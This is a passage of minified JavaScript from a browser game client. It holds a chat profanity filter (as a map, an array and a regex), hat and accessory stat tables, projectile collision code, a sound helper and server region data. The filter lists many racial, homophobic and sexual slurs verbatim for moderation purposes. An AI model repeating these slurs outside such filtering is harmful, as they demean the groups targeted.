boner: 1,
boob: 1,
boobs: 1,
booobs: 1,
boooobs: 1,
booooobs: 1,
booooooobs: 1,
breasts: 1,
buceta: 1,
bugger: 1,
bum: 1,
"bunny fucker": 1,
butt: 1,
butthole: 1,
buttmuch: 1,
buttplug: 1,
c0ck: 1,
c0cksucker: 1,
"carpet muncher": 1,
cawk: 1,
chink: 1,
cipa: 1,
cl1t: 1,
clit: 1,
clitoris: 1,
clits: 1,
cnut: 1,
cock: 1,
"cock-sucker": 1,
cockface: 1,
cockhead: 1,
cockmunch: 1,
cockmuncher: 1,
cocks: 1,
cocksuck: 1,
cocksucked: 1,
cocksucker: 1,
cocksucking: 1,
cocksucks: 1,
cocksuka: 1,
cocksukka: 1,
cok: 1,
cokmuncher: 1,
coksucka: 1,
coon: 1,
cox: 1,
crap: 1,
cum: 1,
cummer: 1,
cumming: 1,
cums: 1,
cumshot: 1,
cunilingus: 1,
cunillingus: 1,
cunnilingus: 1,
cunt: 1,
cuntlick: 1,
cuntlicker: 1,
cuntlicking: 1,
cunts: 1,
cyalis: 1,
cyberfuc: 1,
cyberfuck: 1,
cyberfucked: 1,
cyberfucker: 1,
cyberfuckers: 1,
cyberfucking: 1,
d1ck: 1,
damn: 1,
dick: 1,
dickhead: 1,
dildo: 1,
dildos: 1,
dink: 1,
dinks: 1,
dirsa: 1,
dlck: 1,
"dog-fucker": 1,
doggin: 1,
dogging: 1,
donkeyribber: 1,
doosh: 1,
duche: 1,
dyke: 1,
ejaculate: 1,
ejaculated: 1,
ejaculates: 1,
ejaculating: 1,
ejaculatings: 1,
ejaculation: 1,
ejakulate: 1,
"f u c k": 1,
"f u c k e r": 1,
f4nny: 1,
fag: 1,
fagging: 1,
faggitt: 1,
faggot: 1,
faggs: 1,
fagot: 1,
fagots: 1,
fags: 1,
fanny: 1,
fannyflaps: 1,
fannyfucker: 1,
fanyy: 1,
fatass: 1,
fcuk: 1,
fcuker: 1,
fcuking: 1,
feck: 1,
fecker: 1,
felching: 1,
fellate: 1,
fellatio: 1,
fingerfuck: 1,
fingerfucked: 1,
fingerfucker: 1,
fingerfuckers: 1,
fingerfucking: 1,
fingerfucks: 1,
fistfuck: 1,
fistfucked: 1,
fistfucker: 1,
fistfuckers: 1,
fistfucking: 1,
fistfuckings: 1,
fistfucks: 1,
flange: 1,
fook: 1,
fooker: 1,
fuck: 1,
fucka: 1,
fucked: 1,
fucker: 1,
fuckers: 1,
fuckhead: 1,
fuckheads: 1,
fuckin: 1,
fucking: 1,
fuckings: 1,
fuckingshitmotherfucker: 1,
fuckme: 1,
fucks: 1,
fuckwhit: 1,
fuckwit: 1,
"fudge packer": 1,
fudgepacker: 1,
fuk: 1,
fuker: 1,
fukker: 1,
fukkin: 1,
fuks: 1,
fukwhit: 1,
fukwit: 1,
fux: 1,
fux0r: 1,
f_u_c_k: 1,
gangbang: 1,
gangbanged: 1,
gangbangs: 1,
gaylord: 1,
gaysex: 1,
goatse: 1,
God: 1,
"god-dam": 1,
"god-damned": 1,
goddamn: 1,
goddamned: 1,
hardcoresex: 1,
hell: 1,
heshe: 1,
hoar: 1,
hoare: 1,
hoer: 1,
homo: 1,
hore: 1,
horniest: 1,
horny: 1,
hotsex: 1,
"jack-off": 1,
jackoff: 1,
jap: 1,
"jerk-off": 1,
jism: 1,
jiz: 1,
jizm: 1,
jizz: 1,
kawk: 1,
knob: 1,
knobead: 1,
knobed: 1,
knobend: 1,
knobhead: 1,
knobjocky: 1,
knobjokey: 1,
kock: 1,
kondum: 1,
kondums: 1,
kum: 1,
kummer: 1,
kumming: 1,
kums: 1,
kunilingus: 1,
"l3i+ch": 1,
l3itch: 1,
labia: 1,
lust: 1,
lusting: 1,
m0f0: 1,
m0fo: 1,
m45terbate: 1,
ma5terb8: 1,
ma5terbate: 1,
masochist: 1,
"master-bate": 1,
masterb8: 1,
"masterbat*": 1,
masterbat3: 1,
masterbate: 1,
masterbation: 1,
masterbations: 1,
masturbate: 1,
"mo-fo": 1,
mof0: 1,
mofo: 1,
mothafuck: 1,
mothafucka: 1,
mothafuckas: 1,
mothafuckaz: 1,
mothafucked: 1,
mothafucker: 1,
mothafuckers: 1,
mothafuckin: 1,
mothafucking: 1,
mothafuckings: 1,
mothafucks: 1,
"mother fucker": 1,
motherfuck: 1,
motherfucked: 1,
motherfucker: 1,
motherfuckers: 1,
motherfuckin: 1,
motherfucking: 1,
motherfuckings: 1,
motherfuckka: 1,
motherfucks: 1,
muff: 1,
mutha: 1,
muthafecker: 1,
muthafuckker: 1,
muther: 1,
mutherfucker: 1,
n1gga: 1,
n1gger: 1,
nazi: 1,
nigg3r: 1,
nigg4h: 1,
nigga: 1,
niggah: 1,
niggas: 1,
niggaz: 1,
nigger: 1,
niggers: 1,
nob: 1,
"nob jokey": 1,
nobhead: 1,
nobjocky: 1,
nobjokey: 1,
numbnuts: 1,
nutsack: 1,
orgasim: 1,
orgasims: 1,
orgasm: 1,
orgasms: 1,
p0rn: 1,
pawn: 1,
pecker: 1,
penis: 1,
penisfucker: 1,
phonesex: 1,
phuck: 1,
phuk: 1,
phuked: 1,
phuking: 1,
phukked: 1,
phukking: 1,
phuks: 1,
phuq: 1,
pigfucker: 1,
pimpis: 1,
piss: 1,
pissed: 1,
pisser: 1,
pissers: 1,
pisses: 1,
pissflaps: 1,
pissin: 1,
pissing: 1,
pissoff: 1,
poop: 1,
porn: 1,
porno: 1,
pornography: 1,
pornos: 1,
prick: 1,
pricks: 1,
pron: 1,
pube: 1,
pusse: 1,
pussi: 1,
pussies: 1,
pussy: 1,
pussys: 1,
rectum: 1,
retard: 1,
rimjaw: 1,
rimming: 1,
"s hit": 1,
"s.o.b.": 1,
sadist: 1,
schlong: 1,
screwing: 1,
scroat: 1,
scrote: 1,
scrotum: 1,
semen: 1,
sex: 1,
"sh!+": 1,
"sh!t": 1,
sh1t: 1,
shag: 1,
shagger: 1,
shaggin: 1,
shagging: 1,
shemale: 1,
"shi+": 1,
shit: 1,
shitdick: 1,
shite: 1,
shited: 1,
shitey: 1,
shitfuck: 1,
shitfull: 1,
shithead: 1,
shiting: 1,
shitings: 1,
shits: 1,
shitted: 1,
shitter: 1,
shitters: 1,
shitting: 1,
shittings: 1,
shitty: 1,
skank: 1,
slut: 1,
sluts: 1,
smegma: 1,
smut: 1,
snatch: 1,
"son-of-a-bitch": 1,
spac: 1,
spunk: 1,
s_h_i_t: 1,
t1tt1e5: 1,
t1tties: 1,
teets: 1,
teez: 1,
testical: 1,
testicle: 1,
tit: 1,
titfuck: 1,
tits: 1,
titt: 1,
tittie5: 1,
tittiefucker: 1,
titties: 1,
tittyfuck: 1,
tittywank: 1,
titwank: 1,
tosser: 1,
turd: 1,
tw4t: 1,
twat: 1,
twathead: 1,
twatty: 1,
twunt: 1,
twunter: 1,
v14gra: 1,
v1gra: 1,
vagina: 1,
viagra: 1,
vulva: 1,
w00se: 1,
wang: 1,
wank: 1,
wanker: 1,
wanky: 1,
whoar: 1,
whore: 1,
willies: 1,
willy: 1,
xrated: 1,
xxx: 1
}
}
, function(e, t) {
e.exports = ["4r5e", "5h1t", "5hit", "a55", "anal", "anus", "ar5e", "arrse",
"arse", "ass", "ass-fucker", "asses", "assfucker", "assfukka", "asshole",
"assholes", "asswhole", "a_s_s", "b!tch", "b00bs", "b17ch", "b1tch", "ballbag",
"balls", "ballsack", "bastard", "beastial", "beastiality", "bellend", "bestial",
"bestiality", "bi+ch", "biatch", "bitch", "bitcher", "bitchers", "bitches",
"bitchin", "bitching", "bloody", "blow job", "blowjob", "blowjobs", "boiolas",
"bollock", "bollok", "boner", "boob", "boobs", "booobs", "boooobs", "booooobs",
"booooooobs", "breasts", "buceta", "bugger", "bum", "bunny fucker", "butt",
"butthole", "buttmuch", "buttplug", "c0ck", "c0cksucker", "carpet muncher", "cawk",
"chink", "cipa", "cl1t", "clit", "clitoris", "clits", "cnut", "cock", "cock-
sucker", "cockface", "cockhead", "cockmunch", "cockmuncher", "cocks", "cocksuck",
"cocksucked", "cocksucker", "cocksucking", "cocksucks", "cocksuka", "cocksukka",
"cok", "cokmuncher", "coksucka", "coon", "cox", "crap", "cum", "cummer", "cumming",
"cums", "cumshot", "cunilingus", "cunillingus", "cunnilingus", "cunt", "cuntlick",
"cuntlicker", "cuntlicking", "cunts", "cyalis", "cyberfuc", "cyberfuck",
"cyberfucked", "cyberfucker", "cyberfuckers", "cyberfucking", "d1ck", "damn",
"dick", "dickhead", "dildo", "dildos", "dink", "dinks", "dirsa", "dlck", "dog-
fucker", "doggin", "dogging", "donkeyribber", "doosh", "duche", "dyke",
"ejaculate", "ejaculated", "ejaculates", "ejaculating", "ejaculatings",
"ejaculation", "ejakulate", "f u c k", "f u c k e r", "f4nny", "fag", "fagging",
"faggitt", "faggot", "faggs", "fagot", "fagots", "fags", "fanny", "fannyflaps",
"fannyfucker", "fanyy", "fatass", "fcuk", "fcuker", "fcuking", "feck", "fecker",
"felching", "fellate", "fellatio", "fingerfuck", "fingerfucked", "fingerfucker",
"fingerfuckers", "fingerfucking", "fingerfucks", "fistfuck", "fistfucked",
"fistfucker", "fistfuckers", "fistfucking", "fistfuckings", "fistfucks", "flange",
"fook", "fooker", "fuck", "fucka", "fucked", "fucker", "fuckers", "fuckhead",
"fuckheads", "fuckin", "fucking", "fuckings", "fuckingshitmotherfucker", "fuckme",
"fucks", "fuckwhit", "fuckwit", "fudge packer", "fudgepacker", "fuk", "fuker",
"fukker", "fukkin", "fuks", "fukwhit", "fukwit", "fux", "fux0r", "f_u_c_k",
"gangbang", "gangbanged", "gangbangs", "gaylord", "gaysex", "goatse", "God", "god-
dam", "god-damned", "goddamn", "goddamned", "hardcoresex", "hell", "heshe", "hoar",
"hoare", "hoer", "homo", "hore", "horniest", "horny", "hotsex", "jack-off",
"jackoff", "jap", "jerk-off", "jism", "jiz", "jizm", "jizz", "kawk", "knob",
"knobead", "knobed", "knobend", "knobhead", "knobjocky", "knobjokey", "kock",
"kondum", "kondums", "kum", "kummer", "kumming", "kums", "kunilingus", "l3i+ch",
"l3itch", "labia", "lust", "lusting", "m0f0", "m0fo", "m45terbate", "ma5terb8",
"ma5terbate", "masochist", "master-bate", "masterb8", "masterbat*", "masterbat3",
"masterbate", "masterbation", "masterbations", "masturbate", "mo-fo", "mof0",
"mofo", "mothafuck", "mothafucka", "mothafuckas", "mothafuckaz", "mothafucked",
"mothafucker", "mothafuckers", "mothafuckin", "mothafucking", "mothafuckings",
"mothafucks", "mother fucker", "motherfuck", "motherfucked", "motherfucker",
"motherfuckers", "motherfuckin", "motherfucking", "motherfuckings", "motherfuckka",
"motherfucks", "muff", "mutha", "muthafecker", "muthafuckker", "muther",
"mutherfucker", "n1gga", "n1gger", "nazi", "nigg3r", "nigg4h", "nigga", "niggah",
"niggas", "niggaz", "nigger", "niggers", "nob", "nob jokey", "nobhead", "nobjocky",
"nobjokey", "numbnuts", "nutsack", "orgasim", "orgasims", "orgasm", "orgasms",
"p0rn", "pawn", "pecker", "penis", "penisfucker", "phonesex", "phuck", "phuk",
"phuked", "phuking", "phukked", "phukking", "phuks", "phuq", "pigfucker", "pimpis",
"piss", "pissed", "pisser", "pissers", "pisses", "pissflaps", "pissin", "pissing",
"pissoff", "poop", "porn", "porno", "pornography", "pornos", "prick", "pricks",
"pron", "pube", "pusse", "pussi", "pussies", "pussy", "pussys", "rectum", "retard",
"rimjaw", "rimming", "s hit", "s.o.b.", "sadist", "schlong", "screwing", "scroat",
"scrote", "scrotum", "semen", "sex", "sh!+", "sh!t", "sh1t", "shag", "shagger",
"shaggin", "shagging", "shemale", "shi+", "shit", "shitdick", "shite", "shited",
"shitey", "shitfuck", "shitfull", "shithead", "shiting", "shitings", "shits",
"shitted", "shitter", "shitters", "shitting", "shittings", "shitty", "skank",
"slut", "sluts", "smegma", "smut", "snatch", "son-of-a-bitch", "spac", "spunk",
"s_h_i_t", "t1tt1e5", "t1tties", "teets", "teez", "testical", "testicle", "tit",
"titfuck", "tits", "titt", "tittie5", "tittiefucker", "titties", "tittyfuck",
"tittywank", "titwank", "tosser", "turd", "tw4t", "twat", "twathead", "twatty",
"twunt", "twunter", "v14gra", "v1gra", "vagina", "viagra", "vulva", "w00se",
"wang", "wank", "wanker", "wanky", "whoar", "whore", "willies", "willy", "xrated",
"xxx"]
}
, function(e, t) {
e.exports = /\b(4r5e|5h1t|5hit|a55|anal|anus|ar5e|arrse|arse|ass|ass-fucker|
asses|assfucker|assfukka|asshole|assholes|asswhole|a_s_s|b!tch|b00bs|b17ch|b1tch|
ballbag|balls|ballsack|bastard|beastial|beastiality|bellend|bestial|bestiality|bi\
+ch|biatch|bitch|bitcher|bitchers|bitches|bitchin|bitching|bloody|blow job|blowjob|
blowjobs|boiolas|bollock|bollok|boner|boob|boobs|booobs|boooobs|booooobs|
booooooobs|breasts|buceta|bugger|bum|bunny fucker|butt|butthole|buttmuch|buttplug|
c0ck|c0cksucker|carpet muncher|cawk|chink|cipa|cl1t|clit|clitoris|clits|cnut|cock|
cock-sucker|cockface|cockhead|cockmunch|cockmuncher|cocks|cocksuck|cocksucked|
cocksucker|cocksucking|cocksucks|cocksuka|cocksukka|cok|cokmuncher|coksucka|coon|
cox|crap|cum|cummer|cumming|cums|cumshot|cunilingus|cunillingus|cunnilingus|cunt|
cuntlick|cuntlicker|cuntlicking|cunts|cyalis|cyberfuc|cyberfuck|cyberfucked|
cyberfucker|cyberfuckers|cyberfucking|d1ck|damn|dick|dickhead|dildo|dildos|dink|
dinks|dirsa|dlck|dog-fucker|doggin|dogging|donkeyribber|doosh|duche|dyke|ejaculate|
ejaculated|ejaculates|ejaculating|ejaculatings|ejaculation|ejakulate|f u c k|f u c
k e r|f4nny|fag|fagging|faggitt|faggot|faggs|fagot|fagots|fags|fanny|fannyflaps|
fannyfucker|fanyy|fatass|fcuk|fcuker|fcuking|feck|fecker|felching|fellate|fellatio|
fingerfuck|fingerfucked|fingerfucker|fingerfuckers|fingerfucking|fingerfucks|
fistfuck|fistfucked|fistfucker|fistfuckers|fistfucking|fistfuckings|fistfucks|
flange|fook|fooker|fuck|fucka|fucked|fucker|fuckers|fuckhead|fuckheads|fuckin|
fucking|fuckings|fuckingshitmotherfucker|fuckme|fucks|fuckwhit|fuckwit|fudge
packer|fudgepacker|fuk|fuker|fukker|fukkin|fuks|fukwhit|fukwit|fux|fux0r|f_u_c_k|
gangbang|gangbanged|gangbangs|gaylord|gaysex|goatse|God|god-dam|god-damned|goddamn|
goddamned|hardcoresex|hell|heshe|hoar|hoare|hoer|homo|hore|horniest|horny|hotsex|
jack-off|jackoff|jap|jerk-off|jism|jiz|jizm|jizz|kawk|knob|knobead|knobed|knobend|
knobhead|knobjocky|knobjokey|kock|kondum|kondums|kum|kummer|kumming|kums|
kunilingus|l3i\+ch|l3itch|labia|lust|lusting|m0f0|m0fo|m45terbate|ma5terb8|
ma5terbate|masochist|master-bate|masterb8|masterbat*|masterbat3|masterbate|
masterbation|masterbations|masturbate|mo-fo|mof0|mofo|mothafuck|mothafucka|
mothafuckas|mothafuckaz|mothafucked|mothafucker|mothafuckers|mothafuckin|
mothafucking|mothafuckings|mothafucks|mother fucker|motherfuck|motherfucked|
motherfucker|motherfuckers|motherfuckin|motherfucking|motherfuckings|motherfuckka|
motherfucks|muff|mutha|muthafecker|muthafuckker|muther|mutherfucker|n1gga|n1gger|
nazi|nigg3r|nigg4h|nigga|niggah|niggas|niggaz|nigger|niggers|nob|nob jokey|nobhead|
nobjocky|nobjokey|numbnuts|nutsack|orgasim|orgasims|orgasm|orgasms|p0rn|pawn|
pecker|penis|penisfucker|phonesex|phuck|phuk|phuked|phuking|phukked|phukking|phuks|
phuq|pigfucker|pimpis|piss|pissed|pisser|pissers|pisses|pissflaps|pissin|pissing|
pissoff|poop|porn|porno|pornography|pornos|prick|pricks|pron|pube|pusse|pussi|
pussies|pussy|pussys|rectum|retard|rimjaw|rimming|s hit|s.o.b.|sadist|schlong|
screwing|scroat|scrote|scrotum|semen|sex|sh!\+|sh!t|sh1t|shag|shagger|shaggin|
shagging|shemale|shi\+|shit|shitdick|shite|shited|shitey|shitfuck|shitfull|
shithead|shiting|shitings|shits|shitted|shitter|shitters|shitting|shittings|shitty|
skank|slut|sluts|smegma|smut|snatch|son-of-a-bitch|spac|spunk|s_h_i_t|t1tt1e5|
t1tties|teets|teez|testical|testicle|tit|titfuck|tits|titt|tittie5|tittiefucker|
titties|tittyfuck|tittywank|titwank|tosser|turd|tw4t|twat|twathead|twatty|twunt|
twunter|v14gra|v1gra|vagina|viagra|vulva|w00se|wang|wank|wanker|wanky|whoar|whore|
willies|willy|xrated|xxx)\b/gi
}
, function(e, t) {
e.exports.hats = [{
id: 45,
name: "Shame",
Sell: !0,
price: 0,
scale: 190,
desc: "hacks are for losers"
}, {
id: 51,
name: "Moo Cap",
price: 0,
scale: 120,
desc: "coolest mooer around"
}, {
id: 50,
name: "Apple Cap",
price: 0,
scale: 120,
desc: "apple farms remembers"
}, {
id: 28,
name: "Moo Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 29,
name: "Pig Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 30,
name: "Fluff Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 36,
name: "Pandou Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 37,
name: "Bear Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 38,
name: "Monkey Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 44,
name: "Polar Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 35,
name: "Fez Hat",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 42,
name: "Enigma Hat",
price: 0,
scale: 120,
desc: "join the enigma army"
}, {
id: 43,
name: "Blitz Hat",
price: 0,
scale: 120,
desc: "hey everybody i'm blitz"
}, {
id: 49,
name: "Bob XIII Hat",
price: 0,
scale: 120,
desc: "like and subscribe"
}, {
id: 57,
name: "Pumpkin",
price: 50,
scale: 120,
desc: "Spooooky"
}, {
id: 8,
name: "Bummle Hat",
price: 100,
scale: 120,
desc: "no effect"
}, {
id: 2,
name: "Straw Hat",
price: 500,
scale: 120,
desc: "no effect"
}, {
id: 15,
name: "Winter Cap",
price: 600,
scale: 120,
desc: "allows you to move at normal speed in snow",
coldM: 1
}, {
id: 5,
name: "Cowboy Hat",
price: 1e3,
scale: 120,
desc: "no effect"
}, {
id: 4,
name: "Ranger Hat",
price: 2e3,
scale: 120,
desc: "no effect"
}, {
id: 18,
name: "Explorer Hat",
price: 2e3,
scale: 120,
desc: "no effect"
}, {
id: 31,
name: "Flipper Hat",
price: 2500,
scale: 120,
desc: "have more control while in water",
watrImm: !0
}, {
id: 1,
name: "Marksman Cap",
price: 3e3,
scale: 120,
desc: "increases arrow speed and range",
aMlt: 1.3
}, {
id: 10,
name: "Bush Gear",
price: 3e3,
scale: 160,
desc: "allows you to disguise yourself as a bush"
}, {
id: 48,
name: "Halo",
price: 3e3,
scale: 120,
desc: "no effect"
}, {
id: 6,
name: "Soldier Helmet",
price: 4e3,
scale: 120,
desc: "reduces damage taken but slows movement",
spdMult: .94,
dmgMult: .75
}, {
id: 23,
name: "Anti Venom Gear",
price: 4e3,
scale: 120,
desc: "makes you immune to poison",
poisonRes: 1
}, {
id: 13,
name: "Medic Gear",
price: 5e3,
scale: 110,
desc: "slowly regenerates health over time",
healthRegen: 3
}, {
id: 9,
name: "Miners Helmet",
price: 5e3,
scale: 120,
desc: "earn 1 extra gold per resource",
extraGold: 1
}, {
id: 32,
name: "Musketeer Hat",
price: 5e3,
scale: 120,
desc: "reduces cost of projectiles",
projCost: .5
}, {
id: 7,
name: "Bull Helmet",
price: 6e3,
scale: 120,
desc: "increases damage done but drains health",
healthRegen: -5,
dmgMultO: 1.5,
spdMult: .96
}, {
id: 22,
name: "Emp Helmet",
price: 6e3,
scale: 120,
desc: "turrets won't attack but you move slower",
antiTurret: 1,
spdMult: .7
}, {
id: 12,
name: "Booster Hat",
price: 6e3,
scale: 120,
desc: "increases your movement speed",
spdMult: 1.16
}, {
id: 26,
name: "Barbarian Armor",
price: 8e3,
scale: 120,
desc: "knocks back enemies that attack you",
dmgK: .6
}, {
id: 21,
name: "Plague Mask",
price: 1e4,
scale: 120,
desc: "melee attacks deal poison damage",
poisonDmg: 5,
poisonTime: 6
}, {
id: 46,
name: "Bull Mask",
price: 1e4,
scale: 120,
desc: "bulls won't target you unless you attack them",
bullRepel: 1
}, {
id: 14,
name: "Windmill Hat",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "generates points while worn",
pps: 1.5
}, {
id: 11,
name: "Spike Gear",
topSprite: !0,
price: 1e4,
scale: 120,
turnSpeed: .000,
desc: "deal damage to players that damage you",
dmg: .45
}, {
id: 53,
name: "Turret Gear",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "you become a walking turret",
turret: {
proj: 1,
range: 700,
rate: 2500
},
spdMult: .7
}, {
id: 20,
name: "Samurai Armor",
price: 12e3,
scale: 120,
desc: "increased attack speed and fire rate",
atkSpd: .78
}, {
id: 58,
name: "Dark Knight",
price: 12e3,
scale: 120,
desc: "restores health when you deal damage",
healD: .4
}, {
id: 27,
name: "Scavenger Gear",
price: 15e3,
scale: 120,
desc: "earn double points for each kill",
kScrM: 2
}, {
id: 40,
name: "Tank Gear",
price: 15e3,
scale: 120,
desc: "increased damage to buildings but slower movement",
spdMult: .3,
bDmg: 3.3
}, {
id: 52,
name: "Thief Gear",
price: 15e3,
scale: 120,
desc: "steal half of a players gold when you kill them",
goldSteal: .5
}, {
id: 55,
name: "Bloodthirster",
price: 2e4,
scale: 120,
desc: "Restore Health when dealing damage. And increased damage",
healD: .25,
dmgMultO: 1.2
}, {
id: 56,
name: "Assassin Gear",
price: 2e4,
scale: 120,
desc: "Go invisible when not moving. Can't eat. Increased speed",
noEat: !0,
spdMult: 1.1,
invisTimer: 1e3
}],
e.exports.accessories = [{
id: 12,
name: "Snowball",
price: 1e3,
scale: 105,
xOff: 18,
desc: "no effect"
}, {
id: 9,
name: "Tree Cape",
price: 1e3,
scale: 90,
desc: "no effect"
}, {
id: 10,
name: "Stone Cape",
price: 1e3,
scale: 90,
desc: "no effect"
}, {
id: 3,
name: "Cookie Cape",
price: 1500,
scale: 90,
desc: "no effect"
}, {
id: 8,
name: "Cow Cape",
price: 2e3,
scale: 90,
desc: "no effect"
}, {
id: 11,
name: "Monkey Tail",
price: 2e3,
scale: 97,
xOff: 25,
desc: "Super speed but reduced damage",
spdMult: 1.35,
dmgMultO: .2
}, {
id: 17,
name: "Apple Basket",
price: 3e3,
scale: 80,
xOff: 12,
desc: "slowly regenerates health over time",
healthRegen: 1
}, {
id: 6,
name: "Winter Cape",
price: 3e3,
scale: 90,
desc: "no effect"
}, {
id: 4,
name: "Skull Cape",
price: 4e3,
scale: 90,
desc: "no effect"
}, {
id: 5,
name: "Dash Cape",
price: 5e3,
scale: 90,
desc: "no effect"
}, {
id: 2,
name: "Dragon Cape",
price: 6e3,
scale: 90,
desc: "no effect"
}, {
id: 1,
name: "Super Cape",
price: 8e3,
scale: 90,
desc: "no effect"
}, {
id: 7,
name: "Troll Cape",
price: 8e3,
scale: 90,
desc: "no effect"
}, {
id: 14,
name: "Thorns",
price: 1e4,
scale: 115,
xOff: 20,
desc: "no effect"
}, {
id: 15,
name: "Blockades",
price: 1e4,
scale: 95,
xOff: 15,
desc: "no effect"
}, {
id: 20,
name: "Devils Tail",
price: 1e4,
scale: 95,
xOff: 20,
desc: "no effect"
}, {
id: 16,
name: "Sawblade",
price: 12e3,
scale: 90,
spin: !0,
xOff: 0,
desc: "deal damage to players that damage you",
dmg: .15
}, {
id: 13,
name: "Angel Wings",
price: 15e3,
scale: 138,
xOff: 22,
desc: "slowly regenerates health over time",
healthRegen: 3
}, {
id: 19,
name: "Shadow Wings",
price: 15e3,
scale: 138,
xOff: 22,
desc: "increased movement speed",
spdMult: 1.1
}, {
id: 18,
name: "Blood Wings",
price: 2e4,
scale: 178,
xOff: 26,
desc: "restores health when you deal damage",
healD: .2
}, {
id: 21,
name: "Corrupt X Wings",
price: 2e4,
scale: 178,
xOff: 26,
desc: "deal damage to players that damage you",
dmg: .25
}]
}
, function(e, t) {
e.exports = function(e, t, n, i, r, s, a) {
this.init = function(e, t, n, i, r, s, o, c, l) {
this.active = !0,
this.indx = e,
this.x = t,
this.y = n,
this.dir = i,
this.skipMov = !0,
this.speed = r,
this.dmg = s,
this.scale = c,
this.range = o,
this.owner = l,
a && (this.sentTo = {})
}
;
var o, c = [];
this.update = function(l) {
if (this.active) {
var h, u = this.speed * l;
if (this.skipMov ? this.skipMov = !1 : (this.x += u *
Math.cos(this.dir),
this.y += u *
Math.sin(this.dir),
this.range -= u,
this.range <= 0 &&
(this.x += this.range * Math.cos(this.dir),

this.y += this.range * Math.sin(this.dir),


u =
1,

this.range = 0,

this.active = !1)),
a) {
for (var f = 0; f < e.length; ++f)
!this.sentTo[e[f].id] && e[f].canSee(this) &&
(this.sentTo[e[f].id] = 1,

a.send(e[f].id, "18", s.fixTo(this.x, 1), s.fixTo(this.y, 1), s.fixTo(this.dir, 2),


s.fixTo(this.range, 1), this.speed, this.indx, this.layer, this.sid));
for (c.length = 0,
f = 0; f < e.length + t.length; ++f)
!(o = e[f] || t[f - e.length]).alive || o == this.owner
|| this.owner.team && o.team == this.owner.team || s.lineInRect(o.x - o.scale, o.y
- o.scale, o.x + o.scale, o.y + o.scale, this.x, this.y, this.x + u *
Math.cos(this.dir), this.y + u * Math.sin(this.dir)) && c.push(o);
for (var d = n.getGridArrays(this.x, this.y, this.scale), p
= 0; p < d.length; ++p)
for (var g = 0; g < d[p].length; ++g)
h = (o = d[p][g]).getScale(),
o.active && this.ignoreObj != o.sid &&
this.layer <= o.layer && c.indexOf(o) < 0 && !o.ignoreCollision && s.lineInRect(o.x
- h, o.y - h, o.x + h, o.y + h, this.x, this.y, this.x + u * Math.cos(this.dir),
this.y + u * Math.sin(this.dir)) && c.push(o);
if (c.length > 0) {
var m = null
, y = null
, k = null;
for (f = 0; f < c.length; ++f)
k = s.getDistance(this.x, this.y, c[f].x, c[f].y),
(null == y || k < y) && (y = k,
m = c[f]);
if (m.isPlayer || m.isAI) {
var v = .3 * (m.weightM || 1);
m.xVel += v * Math.cos(this.dir),
m.yVel += v * Math.sin(this.dir),
null != m.weaponIndex &&
i.weapons[m.weaponIndex].shield && s.getAngleDist(this.dir + Math.PI, m.dir) <=
r.shieldAngle || m.changeHealth(-this.dmg, this.owner, this.owner)
} else
for (m.projDmg && m.health && m.changeHealth(-
this.dmg) && n.disableObj(m),
f = 0; f < e.length; ++f)
e[f].active && (m.sentTo[e[f].id] && (m.active ?
e[f].canSee(m) && a.send(e[f].id, "8", s.fixTo(this.dir, 2), m.sid) :
a.send(e[f].id, "12", m.sid)),
m.active || m.owner != e[f] ||
e[f].changeItemCount(m.group.id, -1));
for (this.active = !1,
f = 0; f < e.length; ++f)
this.sentTo[e[f].id] && a.send(e[f].id, "19",
this.sid, s.fixTo(y, 1))
}
}
}
}
}
}
, function(e, t) {
e.exports = function(e, t, n, i, r, s, a, o, c) {
this.addProjectile = function(l, h, u, f, d, p, g, m, y) {
for (var k, v = s.projectiles[p], w = 0; w < t.length; ++w)
if (!t[w].active) {
k = t[w];
break
}
return k || ((k = new e(n,i,r,s,a,o,c)).sid = t.length,
t.push(k)),
k.init(p, l, h, u, d, v.dmg, f, v.scale, g),
k.ignoreObj = m,
k.layer = y || v.layer,
k.src = v.src,
k
}
}
}
, function(e, t) {
e.exports.obj = function(e, t) {
var n;
this.sounds = [],
this.active = !0,
this.play = function(t, i, r) {
i && this.active && ((n = this.sounds[t]) || (n = new Howl({
src: ".././sound/" + t + ".mp3"
}),
this.sounds[t] = n),
r && n.isPlaying || (n.isPlaying = !0,
n.play(),
n.volume((i || 1) *
e.volumeMult),
n.loop(r)))
}
,
this.toggleMute = function(e, t) {
(n = this.sounds[e]) && n.mute(t)
}
,
this.stop = function(e) {
(n = this.sounds[e]) && (n.stop(),
n.isPlaying = !1)
}
}
}
, function(e, t, n) {
var i = n(60)
, r = n(67);
function s(e, t, n, i, r) {
"localhost" == location.hostname && (window.location.hostname =
"127.0.0.1"),
this.debugLog = !1,
this.baseUrl = e,
this.lobbySize = n,
this.devPort = t,
this.lobbySpread = i,
this.rawIPs = !!r,
this.server = void 0,
this.gameIndex = void 0,
this.callback = void 0,
this.errorCallback = void 0,
this.processServers(vultr.servers)
}
s.prototype.regionInfo = {
0: {
name: "Local",
latitude: 0,
longitude: 0
},
"vultr:1": {
name: "New Jersey",
latitude: 40.1393329,
longitude: -75.8521818
},
"vultr:2": {
name: "Chicago",
latitude: 41.8339037,
longitude: -87.872238
},
"vultr:3": {
name: "Dallas",
latitude: 32.8208751,
longitude: -96.8714229
},
"vultr:4": {
name: "Seattle",
latitude: 47.6149942,
longitude: -122.4759879
},
"vultr:5": {
name: "Los Angeles",
latitude: 34.0207504,
longitude: -118.691914
},
"vultr:6": {
name: "Atlanta",
latitude: 33.7676334,
longitude: -84.5610332
},
"vultr:7": {
name: "Amsterdam",
latitude: 52.3745287,
longitude: 4.7581878
},
"vultr:8": {
name: "London",
latitude: 51.5283063,
longitude: -.382486
},
"vultr:9": {
name: "Frankfurt",
latitude: 50.1211273,
longitude: 8.496137
},
"vultr:12": {
name: "Silicon Valley",
latitude: 37.4024714,
longitude: -122.3219752
},
"vultr:19": {
name: "Sydney",
latitude: -33.8479715,
longitude: 150.651084
},
"vultr:24": {
name: "Paris",
latitude: 48.8588376,
longitude: 2.2773454
},
"vultr:25": {
name: "Tokyo",
latitude: 35.6732615,
